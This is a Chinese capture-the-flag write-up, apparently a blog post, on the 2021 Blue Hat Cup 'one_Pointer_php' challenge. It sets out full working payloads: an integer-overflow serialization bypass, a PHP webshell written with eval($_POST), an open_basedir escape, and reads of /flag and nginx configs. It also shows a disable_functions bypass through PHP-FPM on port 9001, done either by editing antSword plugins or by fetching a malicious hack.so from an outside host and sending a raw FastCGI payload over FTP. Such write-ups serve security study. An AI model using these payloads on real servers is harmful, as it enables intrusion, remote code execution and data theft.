整型溢出
利用64位系统的整型最大值溢出,这里令count=9223372036854775806,当再加2时就会提示溢出警告,从而绕过。
<?php
class User{
public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>
//O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
尝试一下写个php文件,成功,当然也可以不用写…
add_api.php?backdoor=file_put_contents('/var/www/html/1.php','<?php eval($_POST[1]);?>');
接着想要读取目录文件却不成功,提示没有权限,应该是open_basedir限制了目录。
chdir()
、 ini_set()
绕过open_basedir
直接配合 chdir()
、 ini_set()
就能不断向上翻,一直翻到根目录下就能有整个目录的权限了,读取一下根目录:
1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
发现有flag文件,尝试file_get_contents()读取,不成功。看师傅们说是权限不够,也就是需要我们提权!要提权就得拿到shell,但目前显然是不行的,因为disabled_function的原因。
1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));
读取nginx配置文件
读取一下配置文件:
1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/etc/nginx/nginx.conf'));
注意到Virtual host config(虚拟主机配置):
发现一个/etc/nginx/sites-enabled/
目录,其中有个default文件,读取一下
1=mkdir('lethe');chdir('lethe');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/etc/nginx/sites-enabled/default'));
Fastcgi服务端口在9001(虽然一般都是开在9000端口的…),而且phpinfo中可以看到FPM/FaseCGI服务。可以猜测这里就是攻击FPM从而绕过
一开始想着蚁剑bypass的,但因为蚁剑的路径选择中没有9001端口。无奈只好学习一下师傅们的做法:
方法一
disable_function 中ban了fsockopen函数,但我们用的蚁剑bypass FMP实际上就有用到这个函数,所以不能直接使用绕过。其次这题的FastCGI服务开在9001端口,这就得手动到蚁剑的文件中修改了
虽然禁止了fsockopen这个函数,但还有一个pfsockopen没被ban。这俩函数没啥区别
将下列文件中的fsockopen替换成pfsockopen。
\antData\plugins\as_bypass_php_disable_functions-master\payload.js
\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js
接着到antSword-master\antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js
中添加一个127.0.0.1:9001
选项
接着上蚁剑启用绕过disable_function这个插件,然后选择FastCGI这个。地址要选127.0.0.1:9001
,然后成功上传一些文件,其中包括.antproxy.php
,它的作用是把流量转发到新开启的php进程
创建一个新的副本,重新编辑一下,要连接到.antproxy.php上
直接打开新的副本即可绕过了:
方法二:
第五届“蓝帽杯”全国大学生网络安全技能大赛初赛WriteUp
[2021 蓝帽杯]one_Pointer_php赛后复盘
不依赖蚁剑的插件,手工搞。
但我在复现的时候反弹shell不成功,如下图,很迷,也不知道是哪的问题
上传hack.so到/tmp目录下
add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy("http://xx.xx.xx.xx/hack.so","/tmp/hack.so");
开启FTP服务:
发送数据
http://2974b831-1001-4330-8eb6-e599823cf5a9.node3.buuoj.cn/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://root@xx.xx.xx.xx:6666/!123123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+hack.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00
查看监听
然后就不成功了。我还是爬吧,等有空再细细整理一下大佬们的操作